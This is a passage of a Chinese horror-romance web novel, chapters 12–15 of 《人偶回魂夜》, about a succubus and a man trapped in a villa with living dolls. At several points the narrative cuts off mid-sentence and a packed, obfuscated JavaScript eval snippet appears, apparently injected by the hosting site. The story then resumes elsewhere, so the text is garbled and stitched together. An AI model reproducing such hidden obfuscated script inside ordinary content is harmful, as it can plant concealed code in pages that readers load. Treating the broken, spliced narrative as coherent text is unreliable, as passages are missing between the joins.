刺痛自脸颊传来,一滴血落进了脚下的衣服堆里。锋利的小刀有一半都没入了实木衣柜,深深地扎入其中,留在外面的刀柄还在嗡嗡作响。 只差一点,被捅穿的就不是衣柜,而是他的脑袋了。 惊魂未定的喘.息只不过片刻,衣柜外的人偶的脚步声像是密集的鼓点一般,咚咚咚地往这边一股脑涌来! 此刻已经顾不得那么多了,黎夜一把拉住像是还没反应过来,被吓傻了似的的之芙,用力推开衣柜门! “哐当——”一声,令人牙酸的吱呀声,是衣柜门撞上了人偶的声音。但衣柜门也刚好为他们扫清了一片空间,原本密密麻麻挤满了人偶的房间里终于出现了一条路。 “先走!”黎夜拉起之芙往外闷头狂奔,刚跑出屋门,门里的人偶也反应了过来,朝他们移动过来,伸出手,想要抓住他们。 这些人偶的外表跟人类无异,穿着漂亮昂贵的衣服,看起来像一个个精致美丽的洋娃娃,杀伤力却大得可怕,指尖泛着寒光,轻轻一抓就能撕破木板和房门,撕碎人类的身躯对它们来说也一定易如反掌——虽然它们暂时还没机会这么做。 它们的反应也很快,在黎夜和之芙跑到走廊的时候就已经包围了过来,紧紧地跟在他们身后。 走廊上的各种花瓶、挂画等昂贵的装饰此刻反而成了累赘,黎夜往外跑出几步,只见前方的走廊上也涌过来许多人偶,他咬牙,回头看去,之芙似乎被人偶缠住了,正回头跟它们说着什么。 “之芙!” “怎么了——喂!” 黎夜三步并作两步,折返回身,一手拉起还弯着腰在跟人偶纠缠的之芙,蹲身伸手,一句“得罪了”,动作一气呵成行云流水地把之芙抱了起来! 之芙完全懵在原地,眼睁睁看着他用一种介于“端”和“公主抱”之间的别扭姿势,抱住她之后三步并作两步地冲向二楼的围栏,一只手托住她后背,另一只手摁住围栏,轻松跳起,一跃而下! “哇啊——!!!” “咚”一声闷响,黎夜弯腰,落地,动作轻巧敏捷地像一只豹子。 至少从外表上来看,任谁都无法想象看着儒雅斯文的这么一个人,能有这样的力气和技巧,抱着一个人从二楼跳下来还毫发无损地稳稳降落。 黎夜轻轻呼出一口气,回头看去,人偶已经被甩在了身后。 他抱紧了怀里的人,在人偶还没反应过来之前就再次起身往后院跑。 细微的风声从耳边呼啸而过,怀里的人自从刚刚那一声惊呼之后就再也没有了声响,反而紧紧地抱住他的脖子,大概是害怕被摔下去吧。 吓傻了? 也是……从那么高的地方跳下来,而且说到底他们也只是认识不过一天的陌生人,这下之芙该知道他的身份了,也该知道他不是什么……男模…… ……所以她会怕他吗? 心里骤然泛起一股不知道是什么滋味的酸涩和烦躁,黎夜一把摁住了怀中人的脑袋,让她别看到那些人偶的恐怖举动,一边没话找话般说:“待会儿离开这里了,我……” 怀中人的脑袋突然用力地拱了他的掌心一下。 像机灵的小兽顶开蛋壳般,滑溜溜地抓不住。 黎夜低头,却见之芙双手按住他的肩膀,视线越过他往后,盯着他们从二楼跳下来那个栏杆,手指做了一个“跳跃”的动作。 “这是什么?这个好玩!”她说,眼睛亮晶晶的,丝毫没有害怕的意思,反而充斥着跃跃欲试,像玩游戏时跳过一个惊险刺激的山谷,还在回味,“再来一次!” 黎夜:…… 黎夜踉跄了一下。 就不该对这心大的家伙抱有什么期待! 两人有惊无险地把人偶甩在了身后,顺利冲入了后院,黎夜把门反锁,抵上了门,看向后院。 后院已经一片狼藉。数不清的人偶从后院的地底爬出来,把原本平整而美丽的草地弄得乱糟糟一片,大雨让泥地变得更加泥泞,狼狈至极。 院子里唯一的一辆车被开走了,只留下了一条深深的车轮印,往前走是大雨后的深山,往后是人偶成堆的要命的老宅。 现在怎么办? 黎夜抿唇。现在进退两难,但还是身后老宅里的人偶的危险迫在眉睫,他脱下身上的薄外套披在之芙的肩膀上。屋檐下他拍了拍之芙的肩膀,低声交代:“先出门,顺着车轮印往外走,之前雨下得那么大,可能他们还没有走远……” 披好衣服,黎夜看了一眼天色。因为下雨的缘故,今天一天都阴沉沉的。此刻雨终于停歇,但太阳依旧没有出现——他们玩游戏的时候黎夜看了一眼挂在客厅的时钟,当时已经下午两点了。算算时间,现在天已经快黑了下来,如果追不上开走的车,他们也得尽快回来这里。 毕竟深夜的深山,也是会吃人的。 黎夜计算着时间,他们最多往外走一个小时,如果一个小时后还没追上车,就得返回了,否则没有办法在天黑之前回到这里,那么…… 他还没在心中思考出一个何时的计划,忽然,身前的之芙看向外面。 “咦,他们回来了!” ——一股不详的预感忽然笼罩在了黎夜的心头。他猝不及防地往院子外看去,只见刚刚开着的那辆车,正快速地驶向他们,几秒钟内就停在了院落里。 车门“砰!”地一声打开,比车里人先下车的是从车里飘出来的浓郁的血腥味,然后是哭声:“救救他!快救救他!” 黎夜的心猛地沉到了底。车里的人很快搬着受伤的人出来了,是两个男生其中的一个,受伤的地方是手臂处,用撕开的布条胡乱地缠了几圈,血已经浸透了布条。 扶着他的是人时晴。她满头大汗,见到直愣愣地站在门外的两人也是一愣,继而惊呼道:“黎夜,芙芙?!你们怎么在这里……屋里有没有包扎的扎带!穆勒流了好多血!” 黎夜回头看了一眼,面色沉沉。 从墙上的窗户上,可以看到屋内的场景——原本追着他们的人偶不知何时又停下了,整整齐齐地站在屋子里,直勾勾地盯着他们看,那无机质的玻璃眼珠里射出的阴沉视线足以给人浓重的压迫感,而面前又是一个大出血的伤者。 黎夜锁住了门,所以人偶一时半会出不来,可是就是因为这样,他们也进不去。 “快快,我们在路上遇到了人偶,穆勒他……怎么了?!” 两人站在门前没有动。其他三人也意识到了不对劲,黎夜往旁边站了一步,露出了门内的场景。 待看清楚了门里的情况后,三人也是呼吸一滞。 时晴声音发紧:“这是怎么回事?!怎么会突然……突然就……”他们走的时候不是还好好的吗?怎么会突然变成这样?! 黎夜蹲身下,看了看被他们扶着的人的伤口。 一条从肩膀到手臂的划伤,包扎潦草,创口深而干净,一看就是锐器造成的伤口,血顺着肩膀一直流到了裤子上。 除了手臂上的这条伤口,他身上也全是细细碎碎的小划伤。 这些伤口的位置倒不要命,只是穆勒脸色苍白,气息虚弱,一眼便知是失血过多的症状。 他先让其他人把穆勒放平躺在地上,然后招手喊另一个男生单鹏天过来。单鹏天满脸紧张地走进来,正等着黎夜的指挥——不知何时起,这个男人莫名其妙就成了他们之中的主心骨——却见对方拉起自己衬衫的一角,”撕拉“一声,衬衫应声而碎,被他扯成了一长条。 他蹲下身,手法快速而娴熟地包扎,按压住伤口,时不时扯一段单鹏天的衬衫下来,几分钟过去,手臂上最要命的这条大伤口的血慢慢止住了。 他长长地呼出一口气:“暂时先这样处理,但还是要尽快包扎,我记得屋里有药箱,里面有止血的药粉……看我干什么?” 单鹏天满脸幽怨地看着他,指了指他的衣服。 意思是,你自己有衬衫,怎么不撕自己的。 黎夜挑眉,英俊脸上浮起一丝厌恶,明晃晃写着四个大字:有!伤!风!化! “出什么事了?”之芙问。“你们不是开车出去吗?” “我们……”说到这个话题,单鹏天立刻低下头,话说到一半便说不下去了,时雨在旁边啜泣起来。 还是时晴接话,咬着牙道:“我们……沿着马路开车出去,但不知道为什么,一直开不到下山的转弯处。” 别墅建在深山的山顶,下山的地方是一处转弯,也是别墅的地标,离别墅大概一公里,开车的话只要几分钟就到了——绝对不可能像是他们说的那样,开了许久都开不到转弯处。 唯一的可能性,就是他们遇到了鬼打墙。 “我们开了半个小时……也还没见到转弯。”时晴顿了顿,似乎想起了什么异常可怕的事情,“然后雨停了,视线变得开阔了不少……但、但这个时候,我们忽然在路边看到了一只人偶……” “它就坐在路边的树下。” “第一次见到它我们吓坏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“啊——啊嚏——!” 时晴打了个寒颤,把身边打喷嚏的妹妹搂在怀里。 他们缩在屋檐下,靠挤在一起汲取一点些微的温暖。但所有人都能明显地感觉到,这些暖意过不了多久也会被夜风带走。 不过片刻功夫,天色已经彻底黑了下去,门廊上挂着一盏暗淡的电灯,照亮了他们所在的位置——但再往外,就是伸手不见五指的夜色,仿佛是有一只巨兽张开了血盆大口,正在前方静静地注视着他们。 之芙的左手边是黎夜,她身上披着黎夜的外套,倒是不冷,但是…… 她摸了摸肚子。 有点饿了。 其他人或许还能靠中午吃的那一餐顶一顶,但之芙不一样,她是魅魔,全靠人类的情绪进食,最近的一顿还是今天早上时晴那一顿——但那清晰也很淡,不顶饱。 “怎么了?”注意到她的动作,黎夜靠过来,轻声问,“冷吗?” 黎夜看着斯文秀气的一张脸,但身上的肌肉块垒分明,又是二十来岁的年龄,正是血气热的年纪,在如此寒夜靠着他之芙也不觉得冷。 她摇了摇头。 “那是……”他伸手过来,想盖好之芙身上的外套。 之芙顺势拉起他的手,放在自己肚子上。 老古板顿时一呆,昏暗的灯光下,甚至能看清他耳朵上的蒸腾而起的热意。 之芙说:“我饿了……” “那、那……”高岭之花说话都有点结巴了,他想了想站起身,但在他站起来之前,之芙忽然感觉到身边的另一个人动了动。 她右手边坐着的是时晴。时晴原本紧紧地靠着她互相取暖,但忽然往旁边坐了点,似乎是想和她拉开距离。 “嗯?”出什么事了? 之芙往旁边看去,疑惑地看向时晴。 但时晴刻意偏头,再次避开了她的视线。她弯腰半跪在地上,摸了摸躺在地上的穆勒的额头。对方满脸潮红,即使时晴不说话,所有人都能看出他烧得更加厉害了。 时晴半拖半抱着穆勒,把他往外面挪了挪,和坐在原地互相依偎着的之芙黎夜拉开了距离。 时雨和单鹏天也站起来,跟他们对视着。 原本靠在一起的五个人,此刻彻底变成了对峙的两方。 三人的目光幽幽的,如同无底深渊般投射过来,审视着他们——审视着之芙。 半晌,单鹏天先开口了,语气带着忍无可忍的疲惫和威胁。 “之芙……这是你的屋子,是你的人偶。” 几人对视着,气氛开始变了味。单鹏天攥紧拳头,目露凶光,可以看出他还勉强保持着克制只是因为自己良好的教养。 “现在出了事,你是不是应该跟我们解释一下这到底是怎么回事?” 13. 《人偶回魂夜》 无形的空气仿佛在缩紧,扭曲,直至崩裂—— 面前的人逼视着他们。 黎夜下意识地看向靠在自己怀中的女孩儿。她垂着眼揉着肚子,一只手柔软地揽着他的手。 像是有些为难,无意识地咬着唇,把一点儿柔软的唇珠抿在嘴里咬来咬去,留下湿漉漉的红印。 但她的注意力似乎并不在对面那些人身上,好似比起面前虎视眈眈地要个交代的这群人,饿肚子对她来说才是更重要的事情。 这让他联想到某些不太令人愉快的事物,譬如……由本能主宰的兽类。 ……又来了。黎夜抿唇。 又是这种无法控制的感觉……他皱起眉头。 换位设想,如果他站在这群学生之中,他的反应一定也跟他们一样——被朋友邀请来派对,却接连遇见奇怪的、无法解释的、甚至是危及生命的事情。 更要命的事,这一切的源头,似乎都跟那位邀请他们来的朋友有关。实在是很难不怀疑对方的动机。 万一是对方想害死他们怎么办?只是逼问对方,这都已经是克制过后的结果了。 但是……他不是那群一头雾水又惊恐之极的学生。 他知道这一切不是之芙的问题。因为—— 从他手里买下人偶的人,不是她。 她只是个鸠占鹊巢的小贼,完全不明白这栋深山之中的别墅不是温暖的巢穴,而是凶险的坟墓。 但如果她说出真相,那些人会怎么样? 黎夜抬眼,看向站在面前的三人。他们的眼里喷出一种轻易就能读懂的东西:愤怒、疑惑、激动……像野兽般。 他毫不怀疑如果她说出真相,这群人会立刻扑上来,撕碎她。 但那又怎么样呢?这件事本来就是她的错。谁叫她是个爱慕虚荣又贪财好色的女人,她本来就应该……她—— 怀里的人忽然动了动。之芙张开嘴:“其实这个人偶是——” “其实这个人偶是我送给她的。” 紧接着黎夜听到自己的声音。冷静,清晰,带着和他犹豫的内心完全不一样的镇定。 所有的注意力顿时集中在他的身上,灼热的视线审视着他。 “是我从一个人偶师手里买下它,作为礼物送给之芙的。”黎夜听到自己冷静地说,“那个人偶师给了我一个说明书,他说人偶有灵,必须按照说明书上写的那样照顾好它,否则它会生气。只是那个时候,我没有放在心上,只以为这是人偶师哄小孩子所说的话。” 时雨着急地追问:“那现在……?!” “现在想起来,那个人偶师说的是真的。”黎夜眼也不眨地说,实际上他说的也不全是谎话,因此越说越顺畅,“只要我们按照说明书上的事情去做,应该就可以顺利进去……呃。” 他忽然顿住了。 “那说明书呢?”时雨又着急地打断他。 他的脸色青一阵红一阵的变化起来。 顺着他的话,之芙也像是想起了什么,鲤鱼打挺般坐直了:“说明书在我这里啊。”她打开手机,一整天折腾下来电量即将告罄,但点开备忘录还是没有问题的。 她打开备忘录,正要点开那一栏,忽然面前伸出一只大手盖住了她的屏幕。 之芙:? 之芙疑惑地抬头看去,只见黎夜一只手捂住她的屏幕,脸不知为何涨红了:“这不是我、这不是人偶师给我的备忘录!” 之芙呆了一下:“但这是——” 这是系统给她的备忘录,是游戏规则的一部分,是绝不可能出错的。 系统也在脑海中凉凉附和:【这是我给你的备忘录,系统自动生成的游戏线索不可能是假的。】 “照顾人偶不是这么照顾的……”黎夜几乎是从牙缝里挤出来的字,“这也不是我、不是人偶师给我的说明书。” “照顾人偶应该是——” “嘎吱、嘎吱。”突然从门里传来的机械声响打断了他的话,所有人像是受到惊吓的动物般骤然转头看向窗户,惊恐的脸上只写着一句话:这群人偶还想做什么?! 但人偶没有走向他们,也没有如最恐怖的想象中那样破窗而出,而是直勾勾地盯着他们,脚下让开了一条道路。 另一只人偶慢慢地从里面走过来。闲庭信步,如同这栋房子真正的主人那般,可它面容苍白,四肢僵硬而冰冷,脸上挂着模式化的僵硬的温柔微笑,又仿佛一只从黑暗中走出的恶鬼。 他的面容还很年轻,甚至堪称稚嫩,清俊的面庞带着点独属于少年的圆润和青涩,无论从哪种角度来说,这都是一只精致美丽的人偶——如果它没有自行走过来的话。 它手指贴上冰冷的玻璃,视线越过其他或惊恐或警惕地盯着它的人,固执地落在坐在窗下的之芙身上。 那无机质的冰冷视线扫视着她,像是一种威胁,又像是—— 之芙低头看看手机上的备忘录,又看看人偶。她说:“时间到了耶。” “什么?” 之芙挥了一下手机:“这个备忘录上说,九点是人偶睡觉的时间。现在九点钟了——它该睡觉了,我得去哄它睡觉。” “……”黎夜剧烈咳嗽起来,“睡觉,还哄这个人偶?!” 之芙摸着下巴:“对啊,你看它多可怜,像个小狗似的。” 她和人偶对上了视线——像个小狗似的,被主人丢在了门外,可怜巴巴地盯着她看,希望主人能摸摸自己、陪自己睡觉。 她站起来,推开门走进屋里,人偶的视线也默默地跟着她动。它没有动作,只是默默地看着她,目光透出一种执拗和……哀怨? 黎夜和时晴几人对视了几眼,也带上昏迷过去的穆勒,跟着她往屋里走。 四周的人偶静静地看着他们,没有动作,仿佛它们只是一个个精美而无害的礼物,站在红毯的周围欢迎主人的客人的到来。 时晴咽了下口水。 之芙走上前去,对着人偶勾了勾手指。 众目睽睽之下,人偶乖乖地朝她伸出手,一只手指够上了她的手指,纯情得像个、像个——像个小狗似的,亦步亦趋地跟着主人的后脚跟,乖得完全不像是一个恐怖而僵硬的人偶。 之芙一边拉着它往前走,一边翻看手机备忘录,喃喃自语:“还要讲睡前故事哄睡啊?唔……” 人偶一言不发,乖顺地跟在她身后,身形逐渐遮盖住女孩儿娇小的背影,忽然它站直了身体,往身后看了一眼。 那对漆黑的玻璃眼珠转动着,投向了黎夜——把它制造出来的人。 “怎么了?”身前传来之芙的询问。人偶又一语不发地转过身,跟着她走向了屋子里。 他们的身影模糊、变淡,最后消失在楼梯上。 其他几人如临大敌地看着周围围成一圈的人偶。 黎夜闭了闭眼:“我给你们找药。” 面对着其他人投来的奇怪的视线,他挥了挥手,没有说什么,带着其他人往客厅走。医药箱就放在客厅里,黎夜很快找出来,让单鹏天把穆勒平放到沙发上,处理起了穆勒身上的伤势。 时晴和时雨两人帮不上忙,跑进厨房里烧了热水提出来,坐在沙发上对着二楼窃窃私语。 穆勒身上的伤口不多,处理完最大的伤口后只剩下一些细微的小擦伤和刮伤,黎夜给伤口撒上药粉,包扎过后擦了一把额头上的汗,剩下的伤口就由单鹏天接手了。 黎夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可是……”紧紧靠着时晴的时雨突然弱弱地开口了,“我没有听说之芙说过,她有弟弟啊。” “……” 三人的视线顿时又移了过来,死死地盯着他。 “……”黎夜表情空白了一瞬间,紧接着镇定地说,“之芙是……谢家的养女。这栋别墅的主人姓谢。”都不是同一个姓,当然是领养的。 “哦哦哦。”顿时三人又换了一种视线看着她,明晃晃地写着‘可怜’二字,嘴上说着,“那我们明白了。” 黎夜赶紧补救说:“但是谢家父母都把她当女儿来看待,谢应白也只是她的弟弟,只是单纯哄人偶小孩子而已,不要想太多。” 毕竟之芙和人偶也算是孤男寡女共处一室——此老古板是万万不能接受一个女孩子在自己面前被造谣的,即使是为了姑娘家的声誉,他也要为她解释清楚。 可惜其他三人可怜的表情似乎不是冲着之芙,而是冲着他来的。黎夜和他们对视了一分钟,突然醒悟过来被造谣的好像不是之芙,而是他和谢应白。 他们看他的表情,就像是在看一个妻子出轨后依然很有男德,委曲求全地为妻子掩饰的可怜丈夫。 黎夜:“……” 黎夜:“不是你们想的那样!” “哦哦哦,我们没想什么呢,没想什么……” 三人顿时看天的看天,看地的看地,脸上表情的意思是:这种事也跟我们解释不太好吧。 黎夜忍无可忍!——默默地攥紧了手里的水杯。 可怜,弱小又愤怒。 还很有男德地吃下了这个哑巴亏。 14.《人偶回魂夜》 二楼的主卧不知何时被人偶打扫得干干净净,偌大的室内氤氲着一片安详静谧的气息。 之芙把人偶按在床上,一只手去翻床头放着的那本故事书——她还说这本书放这里干嘛呢,原来是工作要用到的材料。 她翻开一页,和想象中的特殊故事不一样,这只是一本最常见的公主王子的童话,开篇是经典童话故事《海的女儿》,内容也是魔改过的版本,删除掉了原版里小美人鱼对纯净灵魂的向往,改成了小美人鱼为一见钟情的王子牺牲生命的故事。 之芙越翻书心情越复杂。她看了一眼乖乖躺在床上的谢应白,对方盖着小毯子,头顶上翘起一撮头发也没有注意到,只是静静地凝视着她,等待着她讲睡前故事。 孩子从小就读这种书,长大不得变成恋爱脑啊。 ……但话又说回来,恋爱脑是男人最好的嫁妆,作为一个乙女游戏的男主,恋爱脑是必备硬件才对。 之芙清了清嗓子:“咳咳。” 人偶的眼睛本是死物玻璃,却莫名地在昏黄灯光的照耀下映出了几分期待的意味。 “从前有一只……有一只小魅魔!对咳,一只小魅魔……” “她从小无父无母,在魅魔学院读书时,同学们告诉她人类是世界上最可恶的生物,他们自私自大,薄情寡义,可是同时他们也拥有世界上最美味的灵魂,据说那是所有魅魔的梦中美味,连天使的灵魂的滋味都不能与其比拟。” “小魅魔非常向往那样的美味,于是,趁着学姐学长们毕业时,她偷偷地跟着他们跑到人类世界,救下了一个倒在路边的,出了车祸的男人……” “男人的父母非常感谢她,他们收留了无父无母的小魅魔,于是他们一起过上了幸福快乐的生活。直到有一天,小魅魔发现,被她救下的男人并不喜欢她,她没有办法吃到他的灵魂,也不知道人类的灵魂到底是怎样的美味,于是她决定离开这对好心的父母和她的养兄,独自觅食……” 人偶忽然握住了她的手。 “呃?”之芙不解地看向它,“怎么了?” 人偶把书翻到了故事中小美人鱼发现王子不爱他,自愿为王子牺牲的那一页:“可是……” 他的声音磕磕巴巴,带着非常明显的机械音,但依稀能听出来自“谢应白”的本音,那是一个青涩而低沉的属于少年的声音:“她、不是……爱他吗?” “那倒也没有啦……”之芙说,“我们魅魔只是喜欢吃灵魂而已,炸鸡不给我吃我也没有办法,但我可以换薯条吃吃啦……” 小美人鱼也不是真的爱惨了王子,在原版的故事里,她只是向往人鱼无法拥有而人类才有的不灭的纯净灵魂而已。 所以小美人鱼和小魅魔也没什么不同嘛。 人偶若有所思地看着她。拉过她的手,声音低沉酸涩:“那、我……我是什么?” 之芙认真想了想:“你是……呃。” 她卡壳了——还没吃过呢!魅魔学院教授的谆谆教诲犹在耳边:一个有道德的魅魔是不会在没吃过之前就点评食物的。 她一时语塞,人偶却发出了轻笑声——虽然很难判断那机械的声音是不是笑声——它慢慢拉过她的手,放在自己的脸上。 “我很好奇……”它青涩的面容像个怀有过分好奇心的孩子,手却拉着她的手,缓缓移动到了自己的心口。 毯子从身上掉了下来。原本乖乖躺在床上的少年坐了起来,眼神专注地看着她。如果真这么乖,为什么要做出这种动作呢? “我是、人偶——人偶的灵魂是什么味道,你知道吗?” 熟悉又陌生的香气自人偶的身上传来,掌心下分明是一幅冰冷的躯体,却能感觉到那股灼热的生命力,馥郁的香气萦绕过来,像是一双无形的大手将小虫溺毙,那是比任何灵魂都要强烈的情感,几乎要化为实体,那是…… 柔软的舌探入口腔,拨动敏.感的上颚,他吻得极其深入,仿佛怨鬼般,无师自通了给魅魔喂食的技巧。 在唇舌轻微的触碰中,之芙感觉到了电流般的刺痛。分明是刺痛,却有种让人上瘾的魅力。听说人类把这种会上瘾的痛觉称为:辣。 血迹顺着人偶紧致的下颚一滴一滴地落下来,之芙伸出舌,舔舐过那些艳色,这是小魅魔第一次品尝到这样鲜明而浓郁的情绪,仿佛烈火一般炽热到能将人融化的温度,又幽怨着缠绵着,久久不散。 纤细的,属于女性的手掌摁压在人偶白皙到近似尸体般的胸膛上,这分明是一个自上而下的姿势,仿佛成鸟哺育幼鸟,可是—— 可是这‘幼鸟’未免也太贪婪了些。他仰着头露出白皙的脖颈,喉结不断滚动着,吞下对方给予的津.液,黑发温顺地垂在额前,盖住了那对过于冷漠的玻璃眼珠。 如此凶狠得仿佛讨食一般的举动,由他做来却仿佛全然无害,从外表看起来,甚至有几分温情脉脉。 只有被裹挟的人知道其中滋味:“唔……” 汹涌而来的恨意仿佛要将她吞没——之芙确信,那就是恨意,缠绵得看似温情脉脉,却缕缕未断绝的怨恨,带着些微刺痛。 ……恨? 一个人偶怎么会有这么浓郁的情绪…… “呼……”仿佛注意到了她的游离,人偶微微抽离了她的唇,凝视着双唇分开时牵扯出的一线银丝,狗狗眼专注地看着她。 之芙简直七晕八素,而人偶还在锲而不舍地追问:“我是、什么味道……?” 之芙张了张嘴,她撑着人偶的胸膛企图拉开距离,一线银丝从中截断,但对方立刻穷追不舍顺着那道痕迹追了上来,几乎就要拉扯着将她拽入漩涡之中,然而就在这个时刻—— “咚咚咚。” 门被敲响了。 门外传来熟悉的声音,是黎夜:“之芙,你还在里面吗?” “唔……” 片刻后,房间门打开了。之芙一手撑着门,雪白的脸颊上浮着微红。 “怎么了?” “……”门外,黎夜的脑袋微不可查地偏了偏,似乎因为过于坦诚和示弱而有些不好意思看她,“你不是说饿么。……我做了点饭菜,下去吃点再睡吧。” 他也不知道自己是怎么了。只是因为她说了一句饿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刹那间黎夜自己的属于谦谦君子的大脑还没有反应过来,属于兽的本能便立刻控制住了他,或许连自己也没有想清楚,他抓住之芙的手:“你?!” “唔?” 之芙被这突如其来的力道推到门上,只发出了疑惑的一声。紧接着,黎夜的脸色变了又变。 “你……你……” 其实他是知道的。知道这个小恶魔般的女孩儿有多轻浮,也知道她的多情,一个第一次见面就能按着他亲的女孩儿,一个见色起意把他捡回家的,虚荣又好色的女孩儿。 然而此刻,他脑海中的第一反应仍然是: “谢应白他勾引你?!” “嗯?那倒没有……” 黎夜低下头,连她在说什么都听不到了,眼里似乎只能看到那双红肿破碎的,一开一合的唇。柔软的唇瓣开开合合,不知道说了什么,又重重的一抿。 血迹被抹到了下唇,柔软的唇珠微微鼓起,双颊沁出一层令人心惊的潮.红。 凭什么?为什么?凭什么人偶也可以……那只是个他创造出来的死物!如果不是他,谢应白怎么可能、怎么可能…… 头一次,黎夜察觉到自己的思路竟然如此清醒。 他盯着那张一开一合的唇,说: “为什么要亲他?” 他弯腰,俯身,高大的身躯几乎盖住了之芙的身体。 他一字一顿地说: “我才是,你的男朋友。” 15.《人偶回魂夜》 “——我才是你的男朋友。” 黎夜直直地盯着她。那张从来冷淡的脸上浮现出少见的执拗,黝黑的瞳孔里倒映出她茫然的表情。 “你为什么不亲我?” “不是把我带回家了吗?不是说我是你的男朋友吗?不是喜欢我的脸吗?”他步步紧逼,抵着她,每说一句话就更往下压一分,气势惊人,“为什么不亲我?他只是个人偶——亲他跟亲我一样吗?你更喜欢他吗?” 之芙茫然:“你——” “——你觉得他比我好吗?哪里比我好?” “可是——” 之芙用一根手指头抵住他的胸膛,轻而易举地止住了他不断压低的动作。 “可是什么?” 黎夜看起来依然冷静,薄唇紧抿着,丝毫看不出方才咄咄逼人的模样。 之芙的笨脑壳还是不太明白事情是怎么发展到这个地步,也不明白为什么黎夜突然说这些话,她想了想说:“可是你不是我男朋友啊。” 黎夜一怔。 之芙立刻抵住他的胸膛,警惕地说:“这是你自己说的哦!我不是那种强人所难的魅、呃,人。” 不要小瞧了她,她可是一个有道德的魅魔! 黎夜哽了片刻,抿唇道:“但你也说了,我是你……”说这话时他把脸轻轻地偏了过去,但很快他转过来,直视着之芙的眼睛,一字一顿地说,“你花钱买的男模。” “男模买来……不就是亲的吗。” 一缕薄红浮上他的耳朵,但他仍然镇定且清晰地说: “你花钱包了我,现在不用我吗?” 之芙“唔”了一声。其实那也不是她的钱啦,严格意义上来说,救黎夜的时候花的是系统的钱…… 似乎是知道她在想什么,脑海中自从进入剧情后便沉寂许久的系统突然发出一声意味不明的冷笑。 【我救他可不是为了让他来勾引你的……】 之芙在脑海中问系统:【系统,你在生气吗?】 【生气?呵,我怎么可能跟一个NPC计较……】 【那也都怪你。】之芙忽然打断系统,哼道。她抵着黎夜,柔润的脸庞瘪了下去,娇声娇气又理直气壮地抱怨,【都怪你,是你救的他。】 【那是剧情……】 【是啊!】之芙脸颊鼓鼓,【你们设计剧情的时候,就不会仔细想想嘛?】 让玩家为难,多不好呀! 这似乎确实是剧情设计失误,分明这和系统也没有关系,但或许是之芙的语气太理直气壮,系统下意识回道:【抱歉。】 说完也是一愣。 ……为什么他要抱歉?即使退一万步来说,剧情设计跟他也没有关系。他已经说过了,这是根据玩家自身性格由游戏方自主生成的剧情——和系统绝没有一丝一毫关系,她会被人堵在这里,也单纯是因为……她自己浪。 而且,他也没给她包男模!他是在救NPC! 是之芙自己乱写剧本,才导致这样的结果的!这个NPC为什么要跟着她的剧本走啊! 似乎是之芙太久没有动作,黎夜再次压了下来。 他似乎想到了什么,有些急促地喘了一声,两只手捧住她的脸。 之芙的脸型很漂亮,这是他早就知道的事情。尤其是她腮边有一点儿白皙的颊边肉,显得天真又稚气,捉弄人的时候一笑就鼓起来,小恶魔般的可爱。他指尖的老茧陷入她鼓起来的腮肉里,软绵绵地陷下去,挤出一点儿柔软的脸颊肉来,小小一只缩在门和怀抱的缝隙里,躲在他身体的阴影之中,也显出几分皎白的好颜色来。 直到这个时候,黎夜才察觉出自己的指尖是滚烫的。陷在冰凉的软肉里,似乎也让她的脸颊染上的热气,浮出一片暧昧的潮红。 他垂着眼看她。 这本来是个很有压迫性的动作,他那么高,又强行把女孩儿抵在门上,不容她挣扎或逃跑,表情又很凶。 可是,他偏偏又用一种自己也没有察觉到的,哀求的眼神,哑声道:“……求你。” 之芙回神:“什么?” “你说要态度好一点,所以……求你。” ——那是他们‘玩游戏’的时候,之芙错把人偶谢应白认成他时,对他所说的话。 黎夜抿唇,低声道:“我——你之前说的,还作数吗?” “什么?”之芙呆了呆。 “……之前那个游戏。”黎夜说,“‘鬼’可以要求被抓到的人做一件事。” 之芙“唔”了一声,慷慨地问:“那你想让我做什么?” 不会是什么很过分的要求吧……但她转念一想,黎夜又能说出什么过分的要求呢? 这位君子、老古板、高岭之花,说“男模”这个词都会满脸通红,仿佛说了什么淫言秽语似的人类……期待他说出什么过分要求简直是高看了他。 他能说什么,最多说要她亲他而已。 魅魔拒绝违背食物意愿进食,但拒绝不了食物硬要让她进食。 之芙大大方方地说:“你说吧!” “……”黎夜凝视着她,表情有些羞赧,有些郑重。之芙倒是表情轻松。 然而,就在之芙以为这个男人会凶巴巴地说出什么过分的要求,已经准备再吃一顿夜宵的时候。 他忽然轻轻地说:“你想……让我当你的男朋友,还是当男模?” 之芙猝不及防地一愣。 皎洁的月色穿过玻璃花窗,落在他的脸上。那张清俊的脸被冷色月光映如雕像般冷硬,片刻后他没有等到回应,低下头去,轻声说: “你想怎么样都可以。” 明明一开始说要让之芙做一件事的是他,现在要之芙做决定安排他位置的人也是他。 之芙说得对,他后悔了。何止是后悔,他简直是一败涂地。压迫着的情势有些颠倒,她大方地邀请他,而他羞赧到甚至不敢看她的眼睛。可那又有什么办法,人难道能控制自己心跳的速度吗? 只是…… “只是你不要跟谢应白……跟那个人偶走太近。” “他不是什么可爱的人偶,你不要被他骗了。我就是为这件事,这个人偶而来的。……他可能杀了很多人,你不要被他迷惑了。” “嗯?”之芙的注意力却一下子被黎夜话中的另一件事吸引了,“这件事?什么叫‘你是为这件事,这个人偶而来的’?” “你不是……”她疑惑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 